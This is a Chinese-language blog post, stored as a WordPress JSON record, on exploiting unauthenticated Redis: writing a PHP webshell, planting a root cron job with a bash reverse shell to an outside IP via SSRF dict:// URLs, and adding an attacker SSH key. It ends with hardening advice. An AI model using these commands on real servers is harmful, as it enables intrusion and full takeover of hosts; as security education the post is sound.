{"id":223,"date":"2022-04-11T10:48:30","date_gmt":"2022-04-11T02:48:30","guid":{"rendered":"http:\/\/danielw.top\/?p=223"},"modified":"2023-09-22T14:01:39","modified_gmt":"2023-09-22T06:01:39","slug":"redis%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/danielw.top\/?p=223","title":{"rendered":"Redis\u6f0f\u6d1e"},"content":{"rendered":"<h3>Redis\u672a\u6388\u6743\u8bbf\u95ee<\/h3>\n<p>redis\u672a\u6388\u6743\u8bbf\u95ee\u662f\u4e00\u4e2a\u56e0\u914d\u7f6e\u5bfc\u81f4\u7684\u6f0f\u6d1e\uff0c\u4e0d\u9700\u8981\u4f7f\u7528\u5bc6\u7801\u5219\u53ef\u4ee5\u8bbf\u95ee\u8be5redis\u7ec4\u4ef6\uff0c\u5e38\u89c1\u7684redis\u53ea\u80fd\u5728\u5185\u7f51\u8bbf\u95ee\uff0c\u6240\u4ee5\u8be5\u6f0f\u6d1e\u901a\u5e38\u548cssrf\u7ec4\u5408<\/p>\n<p>Redis\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u4f1a\u7ed1\u5b9a\u57280.0.0.0:6379(\u5728redis3.2\u4e4b\u540e\uff0credis\u589e\u52a0\u4e86protected-mode\uff0c\u5728\u8fd9\u4e2a\u6a21\u5f0f\u4e0b\uff0c\u975e\u7ed1\u5b9aIP\u6216\u8005\u6ca1\u6709\u914d\u7f6e\u5bc6\u7801\u8bbf\u95ee\u65f6\u90fd\u4f1a\u62a5\u9519)\uff0c\u5982\u679c\u6ca1\u6709\u8fdb\u884c\u91c7\u7528\u76f8\u5173\u7684\u7b56\u7565\uff0c\u6bd4\u5982\u6dfb\u52a0\u9632\u706b\u5899\u89c4\u5219\u907f\u514d\u5176\u4ed6\u975e\u4fe1\u4efb\u6765\u6e90ip\u8bbf\u95ee\u7b49\u7b49\uff0c\u8fd9\u6837\u5c06\u4f1a\u5c06Redis\u670d\u52a1\u66b4\u9732\u5728\u516c\u7f51\u4e0a\uff0c\u5982\u679c\u5728\u6ca1\u6709\u8bbe\u7f6e\u5bc6\u7801\u8ba4\u8bc1(\u9ed8\u8ba4\u4e3a\u7a7a)\u7684\u60c5\u51b5\u4e0b\uff0c\u4f1a\u5bfc\u81f4\u4efb\u610f\u7528\u6237\u5728\u53ef\u4ee5\u8bbf\u95ee\u76ee\u6807\u670d\u52a1\u5668\u7684\u60c5\u51b5\u4e0b\u672a\u6388\u6743\u8bbf\u95eeRedis\u4ee5\u53ca\u8bfb\u53d6Redis\u7684\u6570\u636e\u3002\u653b\u51fb\u8005\u5728\u672a\u6388\u6743\u8bbf\u95eeRedis\u7684\u60c5\u51b5\u4e0b\uff0c\u5229\u7528Redis\u81ea\u8eab\u7684\u63d0\u4f9b\u7684config\u547d\u4ee4\uff0c\u53ef\u4ee5\u8fdb\u884c\u5199\u6587\u4ef6\u64cd\u4f5c\uff0c\u653b\u51fb\u8005\u8fd8\u53ef\u4ee5\u6210\u529f\u5c06\u81ea\u5df1\u7684ssh\u516c\u94a5\u5199\u5165\u76ee\u6807\u670d\u52a1\u5668\u7684\/root\/.ssh\u6587\u4ef6\u7684authotrized_keys \u6587\u4ef6\u4e2d\uff0c\u8fdb\u800c\u53ef\u4ee5\u4f7f\u7528\u5bf9\u5e94\u79c1\u94a5\u76f4\u63a5\u4f7f\u7528ssh\u670d\u52a1\u5668\u767b\u5f55\u76ee\u6807\u670d\u52a1\u5668<\/p>\n<p><strong>\u9488\u5bf9redis\u5f31\u5bc6\u7801\u4e5f\u53ef\u4ee5\u8fdb\u884c\u7206\u7834<\/strong><\/p>\n<h4>redis\u5199webshell<\/h4>\n<p>\u5f53redis\u6743\u9650\u4e0d\u9ad8\uff0c\u4f46\u662f\u8be5\u4e3b\u673a\u6709web\u670d\u52a1\uff0credis\u6709\u6743\u9650\u5411web\u76ee\u5f55\u5199\u5165\u6587\u4ef6\uff0c\u5e76\u4e14\u77e5\u6653<strong>web\u7269\u7406\u8def\u5f84<\/strong>\u65f6\uff0c\u53ef\u4ee5\u5199\u5165webshell<\/p>\n<pre><code>47.118.40.97:6379&gt; config set dir \/var\/www\/html\/\nOK\n47.118.40.97:6379&gt; config set dbfilename shell.php\nOK\n47.118.40.97:6379&gt; set x &quot;&lt;?php phpinfo();?&gt;&quot;\nOK\n47.118.40.97:6379&gt; save\nOK<\/code><\/pre>\n<p>\u6d4f\u89c8\u5668\u8bbf\u95eeshell.php\u53d1\u73b0\u8f93\u51faphp\u4fe1\u606f<\/p>\n<h4>redis\u5199\u4efb\u52a1\u8ba1\u5212<\/h4>\n<p>\u5f53redis \u4ee5root\u6743\u9650\u8fdb\u5165\uff0c\u53ef\u4ee5\u5199\u4efb\u52a1\u8ba1\u5212\uff0c\u8fdb\u884c\u53cd\u5f39shell<\/p>\n<pre><code># \u6e05\u7a7a key\ndict:\/\/172.72.23.27:6379\/flushall\n# \u8bbe\u7f6e\u8981\u64cd\u4f5c\u7684\u8def\u5f84\u4e3a\u5b9a\u65f6\u4efb\u52a1\u76ee\u5f55\ndict:\/\/172.72.23.27:6379\/config set dir \/var\/spool\/cron\/\n# \u5728\u5b9a\u65f6\u4efb\u52a1\u76ee\u5f55\u4e0b\u521b\u5efa root \u7684\u5b9a\u65f6\u4efb\u52a1\u6587\u4ef6\ndict:\/\/172.72.23.27:6379\/config set dbfilename root\n# \u5199\u5165 Bash \u53cd\u5f39 shell \u7684 payload\ndict:\/\/172.72.23.27:6379\/set x &quot;\\n* * * * * \/bin\/bash -i &gt;%26 \/dev\/tcp\/47.118.40.97\/2333 0&gt;%261\\n&quot;\n# \u4fdd\u5b58\u4e0a\u8ff0\u64cd\u4f5c\ndict:\/\/172.72.23.27:6379\/save<\/code><\/pre>\n<p>\u76d1\u542c\u76f8\u5e94\u7aef\u53e3\u5373\u53ef\u5f97\u5230shell\uff0c\u516c\u7f51\u670d\u52a1\u5668\u8981\u5728\u63a7\u5236\u53f0\u6dfb\u52a0\u76f8\u5e94\u7aef\u53e3\u7684\u5b89\u5168\u7ec4\u89c4\u5219\u624d\u53ef\u4ee5\u76d1\u542c\u5230<\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220411102959450.png\" alt=\"image-20220411102959450\" \/><\/p>\n<h4>redis \u5199 ssh-keygen \u516c\u94a5<\/h4>\n<p>\u5f53redis \u4ee5root\u6743\u9650\u8fdb\u5165\uff0c\u5e76\u4e14\u5f00\u653e\u4e86ssh\u670d\u52a1\uff0c\u5141\u8bb8\u4f7f\u7528\u5bc6\u94a5\u767b\u5f55<\/p>\n<p><strong>ssh\u6709\u4e24\u79cd\u767b\u5f55\u65b9\u5f0f\u4e00\u79cd\u662f\u8d26\u53f7\u5bc6\u7801\u767b\u5f55\uff0c\u4e00\u79cd\u662f\u5bc6\u94a5\u767b\u5f55<\/strong><\/p>\n<p>\u653b\u51fb\u673a\u751f\u6210\u5bc6\u94a5<\/p>\n<pre><code class=\"language-bash\">root@kali:~\/.ssh# ssh-keygen -t rsa<\/code><\/pre>\n<p>\u9776\u673a\u4e2d\u7684redis\uff1a<\/p>\n<pre><code>47.118.40.97:6379&gt; config set dir \/root\/.ssh\/\nOK\n47.118.40.97:6379&gt; config set dbfilename authorized_keys\nOK\n47.118.40.97:6379&gt; set x &quot;\\n\\n\\nssh-rsa \nid_rsa\u4e2d\u7684\u5185\u5bb9 root@kali\\n\\n\\n&quot;\nOK\n47.118.40.97:6379&gt; save\nOK<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220411103844155.png\" alt=\"image-20220411103844155\" \/><\/p>\n<p><img decoding=\"async\" src=\"http:\/\/img.danielw.top\/image-20220411103859177.png\" alt=\"image-20220411103859177\" \/><\/p>\n<p>\u7136\u540e\u4f7f\u7528\u516c\u94a5\u767b\u9646ssh\u5373\u53ef<\/p>\n<pre><code class=\"language-bash\">ssh -i id_rsa root@\u9776\u673a\u5730\u5740<\/code><\/pre>\n<h3>Redis\u52a0\u56fa<\/h3>\n<h4>\u7f51\u7edc\u5c42<\/h4>\n<p>redis\u670d\u52a1\u4ec5\u76d1\u542c\u5185\u7f51\u5730\u5740\uff08127.0.0.1\u3001\u8be5\u673a\u5185\u7f51ip\uff09\uff0c\u4e0d\u51c6\u4ece\u5916\u7f51\u8fdb\u5165\uff0c\u8bbe\u7f6e\u9632\u706b\u5899\u7b56\u7565\uff08\u53ea\u5141\u8bb8\u5176\u4ed6\u51e0\u53f0\u5fc5\u8981\u7684\u670d\u52a1\u5668\u8bbf\u95ee\uff09<\/p>\n<h4>\u8d26\u53f7\u5b89\u5168<\/h4>\n<p>\u6dfb\u52a0\u5bc6\u7801\uff0c\u5e76\u4e14\u4fdd\u8bc1\u590d\u6742\u5ea6\uff0c\u5728 redis.conf \u4e2d\u627e\u5230 requirepass \u5b57\u6bb5\uff0c\u53bb\u6389\u5176\u6ce8\u91ca\uff0c\u5e76\u5728\u540e\u9762\u586b\u4e0a\u9700\u8981\u7684\u5bc6\u7801<\/p>\n<h4>\u670d\u52a1\u8fd0\u884c\u6743\u9650\u6700\u5c0f\u5316<\/h4>\n<p>\u4fee\u6539\u8fd0\u884credis\u7684\u8d26\u53f7\uff08\u4ee5\u8f83\u4f4e\u6743\u9650\u8d26\u53f7\u8fd0\u884c\uff09<\/p>\n<h4>\u9690\u85cf\u91cd\u8981\u547d\u4ee4<\/h4>\n<p>redis\u65e0\u5206\u7ba1\u7406\u5458\u3001\u666e\u901a\u8d26\u6237\uff0c\u6743\u9650\u5206\u79bb\u7b49\uff0c\u56e0\u6b64\u53ea\u8981\u767b\u4e0aredis\u5c31\u53ef\u4ee5\u4f7f\u7528\u6240\u6709\u547d\u4ee4\uff0c\u6240\u4ee5\u53ef\u4ee5\u9690\u85cf\u6216\u8005\u4fee\u6539\u91cd\u8981\u7684\u64cd\u4f5c\u547d\u4ee4\u3002<\/p>\n<p>\u4e0b\u8ff0\u914d\u7f6e\u5c06config\/flushdb\/flushall\u8bbe\u7f6e\u4e3a\u7a7a\uff0c\u5373\u7981\u7528\u8be5\u547d\u4ee4\uff1b\u4e5f\u53ef\u547d\u540d\u4e00\u4e9b\u653b\u51fb\u8005\u96be\u4ee5\u731c\u89e3\u7684\u540d\u5b57\u3002<\/p>\n<pre><code>rename-command CONFIG \u201c\u201d\nrename-command flushall \u201c\u201d\nrename-command flushdb \u201c\u201d\nrename-command shutdown<\/code><\/pre>\n<p>shotdown_test\u4fdd\u5b58\u540e\uff0c\u6267\u884c\/etc\/init.d\/redis-server restart\u91cd\u542f\u751f\u6548<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Redis\u672a\u6388\u6743\u8bbf\u95ee redis\u672a\u6388\u6743\u8bbf\u95ee\u662f\u4e00\u4e2a\u56e0\u914d\u7f6e\u5bfc\u81f4\u7684\u6f0f\u6d1e\uff0c\u4e0d\u9700\u8981\u4f7f\u7528\u5bc6\u7801\u5219\u53ef\u4ee5\u8bbf\u95ee\u8be5redis\u7ec4\u4ef6\uff0c\u5e38\u89c1\u7684redis\u53ea\u80fd\u5728 &#8230;<\/p>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8],"tags":[],"class_list":["post-223","post","type-post","status-publish","format-standard","hentry","category-8"],"_links":{"self":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/223","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=223"}],"version-history":[{"count":1,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/223\/revisions"}],"predecessor-version":[{"id":224,"href":"http:\/\/danielw.top\/index.php?rest_route=\/wp\/v2\/posts\/223\/revisions\/224"}],"wp:attachment":[{"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=223"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=223"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/danielw.top\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=223"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}